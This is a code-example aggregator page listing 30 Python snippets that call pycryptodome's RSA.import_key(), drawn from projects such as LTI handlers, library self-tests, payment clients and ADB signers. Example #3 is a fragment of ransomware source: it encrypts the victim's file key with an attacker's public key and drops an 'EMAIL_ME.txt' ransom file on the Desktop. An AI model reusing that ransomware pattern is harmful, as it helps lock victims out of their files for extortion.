Python Crypto.PublicKey.RSA.import_key() Examples

The following are 30 code examples of Crypto.PublicKey.RSA.import_key(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module Crypto.PublicKey.RSA , or try the search function .
Example #1
Source File: key_handlers.py    From xblock-lti-consumer with GNU Affero General Public License v3.0 6 votes vote down vote up
def __init__(self, key_pem, kid=None):
        """
        Import Key when instancing class if a key is present.
        """
        self.key = None

        if key_pem:
            # Import JWK from RSA key
            try:
                self.key = RSAKey(
                    # Using the same key ID as client id
                    # This way we can easily serve multiple public
                    # keys on teh same endpoint and keep all
                    # LTI 1.3 blocks working
                    kid=kid,
                    key=RSA.import_key(key_pem)
                )
            except ValueError:
                raise exceptions.InvalidRsaKey() 
Example #2
Source File: decrypt.py    From Python-for-Everyday-Life with MIT License 6 votes vote down vote up
def decrypt(key, passphrase, encrypted_file_path):
    """
    Decrypts the specified file using a RSA key and its bound passphrase
    :param key: an RSA key
    :param passphrase: str
    :param encrypted_file_path: str path of the file to be decrypted
    :return: bytes decrypted data
    """
    print('Decrypting file {} ...'.format(encrypted_file_path))
    rsa_key = RSA.import_key(key, passphrase=passphrase)
    with open(encrypted_file_path, 'rb') as f:
        # Read the encoded session key, nonce, digest and encrypted data
        enc_session_key, nonce, digest, ciphertext = \
            [ f.read(x) for x in (rsa_key.size_in_bytes(), 16, 16, -1) ]

        # decode the session key
        cipher_rsa = PKCS1_OAEP.new(rsa_key)
        session_key = cipher_rsa.decrypt(enc_session_key)
        cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)

        # finally decrypt data
        data = cipher_aes.decrypt_and_verify(ciphertext, digest)
        print('Done')
        return data 
Example #3
Source File: RansomWare.py    From Python-Ransomware with MIT License 6 votes vote down vote up
def encrypt_fernet_key(self):
        with open('fernet_key.txt', 'rb') as fk:
            fernet_key = fk.read()
        with open('fernet_key.txt', 'wb') as f:
            # Public RSA key
            self.public_key = RSA.import_key(open('public.pem').read())
            # Public encrypter object
            public_crypter =  PKCS1_OAEP.new(self.public_key)
            # Encrypted fernet key
            enc_fernent_key = public_crypter.encrypt(fernet_key)
            # Write encrypted fernet key to file
            f.write(enc_fernent_key)
        # Write encrypted fernet key to dekstop as well so they can send this file to be unencrypted and get system/files back
        with open(f'{self.sysRoot}Desktop/EMAIL_ME.txt', 'wb') as fa:
            fa.write(enc_fernent_key)
        # Assign self.key to encrypted fernet key
        self.key = enc_fernent_key
        # Remove fernet crypter object
        self.crypter = None


    # [SYMMETRIC KEY] Fernet Encrypt/Decrypt file - file_path:str:absolute file path eg, C:/Folder/Folder/Folder/Filename.txt 
Example #4
Source File: alipay.py    From Dailyfresh-B2C with Apache License 2.0 6 votes vote down vote up
def __init__(self, appid, app_notify_url, app_private_key_path,
                 alipay_public_key_path, return_url, debug=False):
        self.appid = appid
        self.app_notify_url = app_notify_url
        self.app_private_key_path = app_private_key_path
        self.app_private_key = None
        self.return_url = return_url
        with open(self.app_private_key_path) as fp:
            self.app_private_key = RSA.importKey(fp.read())

        self.alipay_public_key_path = alipay_public_key_path
        with open(self.alipay_public_key_path) as fp:
            self.alipay_public_key = RSA.import_key(fp.read())

        if debug is True:
            self.__gateway = "https://openapi.alipaydev.com/gateway.do"
        else:
            self.__gateway = "https://openapi.alipay.com/gateway.do" 
Example #5
Source File: utils.py    From tutor with GNU Affero General Public License v3.0 5 votes vote down vote up
def rsa_import_key(key):
    """
    Import PEM-formatted RSA key and return the corresponding object.
    """
    return RSA.import_key(key.encode()) 
Example #6
Source File: key_handlers.py    From xblock-lti-consumer with GNU Affero General Public License v3.0 5 votes vote down vote up
def __init__(self, public_key=None, keyset_url=None):
        """
        Instance message validator

        Import a public key from the tool by either using a keyset url
        or a combination of public key + key id.

        Keyset URL takes precedence because it makes key rotation easier to do.
        """
        # Only store keyset URL to avoid blocking the class
        # instancing on an external url, which is only used
        # when validating a token.
        self.keyset_url = keyset_url
        self.public_key = None

        # Import from public key
        if public_key:
            try:
                new_key = RSAKey(use='sig')

                # Unescape key before importing it
                raw_key = codecs.decode(public_key, 'unicode_escape')

                # Import Key and save to internal state
                new_key.load_key(RSA.import_key(raw_key))
                self.public_key = new_key
            except ValueError:
                raise exceptions.InvalidRsaKey() 
Example #7
Source File: test_pss.py    From android_universal with MIT License 5 votes vote down vote up
def add_tests(self, filename):
        comps = "Crypto.SelfTest.Signature.test_vectors.wycheproof".split(".")
        with open(pycryptodome_filename(comps, filename), "rt") as file_in:
            tv_tree = json.load(file_in)

        for group in tv_tree['testGroups']:

            key = RSA.import_key(group['keyPem'])
            hash_module = get_hash_module(group['sha'])
            sLen = group['sLen']

            assert group['type'] == "RSASigVer"
            assert group['mgf'] == "MGF1"

            mgf1_hash =  get_hash_module(group['mgfSha'])

            def mgf(x, y, mh=mgf1_hash):
                return MGF1(x, y, mh)

            from collections import namedtuple
            TestVector = namedtuple('TestVector', 'id comment msg sig key mgf sLen hash_module valid warning')

            for test in group['tests']:
                tv = TestVector(
                    test['tcId'],
                    test['comment'],
                    unhexlify(test['msg']),
                    unhexlify(test['sig']),
                    key,
                    mgf,
                    sLen,
                    hash_module,
                    test['result'] != "invalid",
                    test['result'] == "acceptable"
                )
                self.tv.append(tv) 
Example #8
Source File: test_pss.py    From android_universal with MIT License 5 votes vote down vote up
def test_negative_1(self):
        key = RSA.import_key(self.rsa_key)
        h = SHA256.new(self.msg + b'A')
        verifier = pss.new(key)
        tag = bytearray(self.tag)
        self.assertRaises(ValueError, verifier.verify, h, tag) 
Example #9
Source File: test_pss.py    From android_universal with MIT License 5 votes vote down vote up
def test_positive_1(self):
        key = RSA.import_key(self.rsa_key)
        h = SHA256.new(self.msg)
        verifier = pss.new(key)
        verifier.verify(h, self.tag) 
Example #10
Source File: test_pkcs1_15.py    From android_universal with MIT License 5 votes vote down vote up
def add_tests(self, filename):
        comps = "Crypto.SelfTest.Signature.test_vectors.wycheproof".split(".")
        with open(pycryptodome_filename(comps, filename), "rt") as file_in:
            tv_tree = json.load(file_in)

        class TestVector(object):
            pass
        self.tv = []

        for group in tv_tree['testGroups']:
            key = RSA.import_key(group['keyPem'])
            hash_name = group['sha']
            if hash_name == "SHA-512":
                hash_module = SHA512
            elif hash_name == "SHA-384":
                hash_module = SHA384
            elif hash_name == "SHA-256":
                hash_module = SHA256
            elif hash_name == "SHA-224":
                hash_module = SHA224
            elif hash_name == "SHA-1":
                hash_module = SHA1
            else:
                raise ValueError("Unknown hash algorithm: " + hash_name)
            assert group['type'] == "RSASigVer"
            
            for test in group['tests']:
                tv = TestVector()
                
                tv.id = test['tcId']
                tv.comment = test['comment']
                for attr in 'msg', 'sig':
                    setattr(tv, attr, unhexlify(test[attr]))
                tv.key = key
                tv.hash_module = hash_module
                tv.valid = test['result'] != "invalid"
                tv.warning = test['result'] == "acceptable"
                self.tv.append(tv) 
Example #11
Source File: test_import_RSA.py    From android_universal with MIT License 5 votes vote down vote up
def test_import_key(self):
        """Verify that import_key is an alias to importKey"""
        key = RSA.import_key(self.rsaPublicKeyDER)
        self.failIf(key.has_private())
        self.assertEqual(key.n, self.n)
        self.assertEqual(key.e, self.e) 
Example #12
Source File: test_import_RSA.py    From android_universal with MIT License 5 votes vote down vote up
def test_import_empty(self):
        self.assertRaises(ValueError, RSA.import_key, b"")

    ### 
Example #13
Source File: __init__.py    From sucks with GNU General Public License v3.0 5 votes vote down vote up
def encrypt(text):
        from Crypto.PublicKey import RSA
        from Crypto.Cipher import PKCS1_v1_5
        key = RSA.import_key(b64decode(EcoVacsAPI.PUBLIC_KEY))
        cipher = PKCS1_v1_5.new(key)
        result = cipher.encrypt(bytes(text, 'utf8'))
        return str(b64encode(result), 'utf8') 
Example #14
Source File: test_pss.py    From FODI with GNU General Public License v3.0 5 votes vote down vote up
def add_tests(self, filename):
        comps = "Crypto.SelfTest.Signature.test_vectors.wycheproof".split(".")
        with open(pycryptodome_filename(comps, filename), "rt") as file_in:
            tv_tree = json.load(file_in)

        for group in tv_tree['testGroups']:

            key = RSA.import_key(group['keyPem'])
            hash_module = get_hash_module(group['sha'])
            sLen = group['sLen']

            assert group['type'] == "RsassaPssVerify"
            assert group['mgf'] == "MGF1"

            mgf1_hash =  get_hash_module(group['mgfSha'])

            def mgf(x, y, mh=mgf1_hash):
                return MGF1(x, y, mh)

            from collections import namedtuple
            TestVector = namedtuple('TestVector', 'id comment msg sig key mgf sLen hash_module valid warning')

            for test in group['tests']:
                tv = TestVector(
                    test['tcId'],
                    test['comment'],
                    unhexlify(test['msg']),
                    unhexlify(test['sig']),
                    key,
                    mgf,
                    sLen,
                    hash_module,
                    test['result'] != "invalid",
                    test['result'] == "acceptable"
                )
                self.tv.append(tv) 
Example #15
Source File: test_pss.py    From FODI with GNU General Public License v3.0 5 votes vote down vote up
def test_negative_2(self):
        key = RSA.import_key(self.rsa_key)
        h = SHA256.new(self.msg)
        verifier = pss.new(key, salt_bytes=1000)
        tag = bytearray(self.tag)
        self.assertRaises(ValueError, verifier.verify, h, tag) 
Example #16
Source File: test_pss.py    From FODI with GNU General Public License v3.0 5 votes vote down vote up
def test_negative_1(self):
        key = RSA.import_key(self.rsa_key)
        h = SHA256.new(self.msg + b'A')
        verifier = pss.new(key)
        tag = bytearray(self.tag)
        self.assertRaises(ValueError, verifier.verify, h, tag) 
Example #17
Source File: test_pss.py    From FODI with GNU General Public License v3.0 5 votes vote down vote up
def test_positive_1(self):
        key = RSA.import_key(self.rsa_key)
        h = SHA256.new(self.msg)
        verifier = pss.new(key)
        verifier.verify(h, self.tag) 
Example #18
Source File: test_import_RSA.py    From FODI with GNU General Public License v3.0 5 votes vote down vote up
def test_import_openssh_private_password(self):
        key_file = load_file("rsa2048_private_openssh_pwd.pem")
        key_file_old = load_file("rsa2048_private_openssh_pwd_old.pem")

        key = RSA.import_key(key_file, b"password")
        key_old = RSA.import_key(key_file_old)
        self.assertEqual(key, key_old) 
Example #19
Source File: test_import_RSA.py    From FODI with GNU General Public License v3.0 5 votes vote down vote up
def test_import_openssh_private_clear(self):
        key_file = load_file("rsa2048_private_openssh.pem")
        key_file_old = load_file("rsa2048_private_openssh_old.pem")

        key = RSA.import_key(key_file)
        key_old = RSA.import_key(key_file_old)

        self.assertEqual(key, key_old) 
Example #20
Source File: test_import_RSA.py    From FODI with GNU General Public License v3.0 5 votes vote down vote up
def test_import_openssh_public(self):
        key_file_ref = load_file("rsa2048_private.pem")
        key_file = load_file("rsa2048_public_openssh.txt")

        key_ref = RSA.import_key(key_file_ref).publickey()
        key = RSA.import_key(key_file)
        self.assertEqual(key_ref, key) 
Example #21
Source File: test_import_RSA.py    From FODI with GNU General Public License v3.0 5 votes vote down vote up
def test_import_key(self):
        """Verify that import_key is an alias to importKey"""
        key = RSA.import_key(self.rsaPublicKeyDER)
        self.failIf(key.has_private())
        self.assertEqual(key.n, self.n)
        self.assertEqual(key.e, self.e) 
Example #22
Source File: test_import_RSA.py    From FODI with GNU General Public License v3.0 5 votes vote down vote up
def test_import_empty(self):
        self.assertRaises(ValueError, RSA.import_key, b"")

    ### 
Example #23
Source File: sign_pycryptodome.py    From python-adb with Apache License 2.0 5 votes vote down vote up
def __init__(self, rsa_key_path=None):
        super(PycryptodomeAuthSigner, self).__init__()

        if rsa_key_path:
            with open(rsa_key_path + '.pub', 'rb') as rsa_pub_file:
                self.public_key = rsa_pub_file.read()

            with open(rsa_key_path, 'rb') as rsa_priv_file:
                self.rsa_key = RSA.import_key(rsa_priv_file.read()) 
Example #24
Source File: encrypt.py    From Python-for-Everyday-Life with MIT License 5 votes vote down vote up
def encrypt(key, src_file_path, encrypted_file_path):
    """
    Encrypts the specified source file to the target path using AES and the
    specified RSA key
    :param key: an RSA key
    :param src_file_path: str path of file to be encrypted
    :param encrypted_file_path: str path of target encrypted file
    :return: None
    """
    print('Encrypting file {} to {} using AES'.format(src_file_path,
                                                      encrypted_file_path))
    rsa_key = RSA.import_key(key)
    with open(encrypted_file_path, "wb") as outfile:
        # Create a random session key and encrypt it with the input RSA key
        session_key = get_random_bytes(16)
        cipher_rsa = PKCS1_OAEP.new(rsa_key)
        outfile.write(cipher_rsa.encrypt(session_key))

        # Create an AES session key
        cipher_aes = AES.new(session_key, AES.MODE_EAX)

        with open(src_file_path ,'rb') as infile:
            # Use AES session key to encrypt input file data
            data = infile.read()
            ciphertext, digest = cipher_aes.encrypt_and_digest(data)

            # write to target file
            outfile.write(cipher_aes.nonce)
            outfile.write(digest)
            outfile.write(ciphertext)
    print('Done') 
Example #25
Source File: sign_pycryptodome.py    From adb_shell with Apache License 2.0 5 votes vote down vote up
def __init__(self, rsa_key_path=None):
        super(PycryptodomeAuthSigner, self).__init__()

        if rsa_key_path:
            with open(rsa_key_path + '.pub', 'rb') as rsa_pub_file:
                self.public_key = rsa_pub_file.read()

            with open(rsa_key_path, 'rb') as rsa_priv_file:
                self.rsa_key = RSA.import_key(rsa_priv_file.read()) 
Example #26
Source File: crypto.py    From Apfell with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def decrypt_pub_key(data: bytes, key: bytes):
    recipient_key = RSA.import_key(key)
    cipher_rsa = PKCS1_OAEP.new(recipient_key)
    decrypted_data = cipher_rsa.decrypt(data)
    return decrypted_data 
Example #27
Source File: crypto.py    From Apfell with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def encrypt_pub_key(data: bytes, key: bytes):
    recipient_key = RSA.import_key(key)
    cipher_rsa = PKCS1_OAEP.new(recipient_key)
    encrypted_data = cipher_rsa.encrypt(data)
    return encrypted_data 
Example #28
Source File: oauth.py    From maltego-trx with MIT License 5 votes vote down vote up
def _rsa_decrypt(private_key_path=None, ciphertext=None):
        """
        RSA Decryption function, returns decrypted plaintext in b64 encoding
        """
        dsize = SHA.digest_size
        sentinel = Random.new().read(20 + dsize)
        ciphertext = base64.b64decode(ciphertext)
        private_key = RSA.import_key(open(private_key_path).read())
        cipher = PKCS1_v1_5.new(private_key)
        plaintext = cipher.decrypt(ciphertext, sentinel).decode('utf8')
        return plaintext 
Example #29
Source File: AliPay.py    From django-RESTfulAPI with MIT License 5 votes vote down vote up
def __init__(self, method):
        self.appid = settings.ALIPAY_APPID
        self.app_private_key_path = settings.PRIVATE_KEY_PATH
        self.alipay_public_key_path = settings.ALIPUB_KEY_PATH # 支付宝的公钥,验证支付宝回传消息使用,不是你自己的公钥
        self.app_notify_url = settings.ALIPAY_NOTIFY_URL
        self.app_private_key = None
        self.alipay_public_key = None
        self.method = method
        with open(self.app_private_key_path) as fp:
            self.app_private_key = RSA.importKey(fp.read())

        with open(self.alipay_public_key_path) as fp:
            self.alipay_public_key = RSA.import_key(fp.read()) 
Example #30
Source File: test_pkcs1_oaep.py    From FODI with GNU General Public License v3.0 4 votes vote down vote up
def load_tests(self, filename):
        comps = "Crypto.SelfTest.Cipher.test_vectors.wycheproof".split(".")
        with open(pycryptodome_filename(comps, filename), "rt") as file_in:
            tv_tree = json.load(file_in)

        class TestVector(object):
            pass
        result = []

        for group in tv_tree['testGroups']:

            rsa_key = RSA.import_key(group['privateKeyPem'])
            if group['sha'] == "SHA-1":
                hash_mod = SHA1
            elif group['sha'] == "SHA-224":
                hash_mod = SHA224
            elif group['sha'] == "SHA-256":
                hash_mod = SHA256
            elif group['sha'] == "SHA-384":
                hash_mod = SHA384
            elif group['sha'] == "SHA-512":
                hash_mod = SHA512
            else:
                raise ValueError("Unknown sha " + group['sha'])

            if group['mgfSha'] == "SHA-1":
                mgf = lambda x,y: MGF1(x, y, SHA1)
            elif group['mgfSha'] == "SHA-224":
                mgf = lambda x,y: MGF1(x, y, SHA224)
            elif group['mgfSha'] == "SHA-256":
                mgf = lambda x,y: MGF1(x, y, SHA256)
            elif group['mgfSha'] == "SHA-384":
                mgf = lambda x,y: MGF1(x, y, SHA384)
            elif group['mgfSha'] == "SHA-512":
                mgf = lambda x,y: MGF1(x, y, SHA512)
            else:
                raise ValueError("Unknown mgf/sha " + group['mgfSha'])
        
            for test in group['tests']:
                tv = TestVector()

                tv.rsa_key = rsa_key
                tv.hash_mod = hash_mod
                tv.mgf = mgf
                tv.algo = "%s with MGF1/%s" % (group['sha'], group['mgfSha'])

                tv.id = test['tcId']
                tv.comment = test['comment']
                for attr in 'msg', 'ct', 'label':
                    setattr(tv, attr, unhexlify(test[attr]))
                tv.valid = test['result'] != "invalid"
                tv.warning = test['result'] == "acceptable"

                result.append(tv)
        return result